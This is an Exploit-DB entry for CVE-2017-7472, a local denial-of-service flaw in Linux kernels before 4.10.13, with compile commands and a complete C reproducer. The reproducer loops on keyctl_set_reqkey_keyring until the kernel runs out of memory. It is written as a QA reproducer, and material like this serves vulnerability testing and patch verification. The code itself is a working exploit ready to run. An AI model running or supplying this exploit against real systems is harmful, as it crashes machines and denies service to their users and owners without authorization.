Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service

EDB-ID: 42136
Author: Marcus Meissner
Published: 2017-06-07
CVE: CVE-2017-7472
Type: Dos
Platform: Linux
Aliases: N/A
Advisory/Source: Link
Tags: Denial of Service (DoS)
Vulnerable App: N/A

 Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862 
QA REPRODUCER:

gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472

(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>

int main()
{
for (;;)
keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}

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